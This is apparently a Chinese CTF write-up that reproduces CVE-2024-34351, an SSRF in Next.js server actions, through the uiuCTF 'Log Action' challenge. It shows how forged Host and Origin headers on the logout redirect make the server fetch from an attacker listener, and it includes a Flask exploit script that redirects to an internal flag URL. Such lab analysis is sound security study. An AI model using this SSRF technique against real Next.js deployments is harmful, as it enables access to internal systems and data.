CVE-2024-34351,由Next.js异步函数createRedirectRenderResult
导致的SSRF。
影响版本:13.4.0<= Next.js < 14.1.1
参考文章:
Next.js Server-Side Request Forgery in Server Actions · CVE-2024-34351 · GitHub Advisory Database · GitHub
在 NextJS 应用中挖掘 SSRF (assetnote.io)
CVE-2024-34351|Next.js框架存在SSRF漏洞-腾讯云开发者社区-腾讯云 (tencent.com)
通过uiuCTF Log Action赛题复现,开题:
点击之后是登录,正如题目描述,登录不起作用。
给了源码,我们先看一看。docker里面给出了flag的位置,看到这个就知道多半不是RCE拿flag了。
ts源码整体看下来没什么明显漏洞点,登录部分用户名是admin,密码是每次随机的16位数,这意味着不可能正常登录,而且正常登录后admin路由也不给flag。
引用一下外国老哥在wp中所阐述的观点: Log4J RCE(远程代码执行)漏洞,它让我意识到我们都使用的所有库和模块都可能存在潜在危险。
CVE-2024-34351简述一下就是由于Next.js代码漏洞引起的,,当我们调用服务器操作并响应重定向时,它会调用异步函数createRedirectRenderResult
在附件文件log-action\frontend\src\app\logout\page.tsx
,确实用到了Next.js并且进行了路由跳转
抓一下注销时候的包
根据老哥的源代码分析,我们可以通过HOST
头来控制跳转的,因为有检查 CSRF 攻击的防御手段,所以我们还需要同步更新Origin
。服务器开启监听,收到请求!
OK到这里SSRF已经验证了,接下来就是重定向到内网拿flag。
接下来就是SSRF拿flag的事情了,直接跳到拿flag还是跨度挺大的,中间还有一些分析,感兴趣的话可以去看看国外老哥写的文章:Log Action | Siunam’s Website (siunam321.github.io)
在安装完docker,启动容器时,docker会为容器默认分配一个容器子网,一般为172.17.0.0/24
但是这里后端服务的内部IP地址是172.18.0.2
直接看利用,py脚本上传服务器,python起一个服务
exp.py
from flask import Flask, request, Response, redirectapp = Flask(__name__)@app.route('/login')def exploit(): # CORS preflight check if request.method == 'HEAD': response = Response() response.headers['Content-Type'] = 'text/x-component' return response # after CORS preflight check elif request.method == 'GET': ssrfUrl = 'http://172.18.0.2/flag.txt' return redirect(ssrfUrl) if __name__ == '__main__': app.run(host='0.0.0.0', port=1717, debug=True)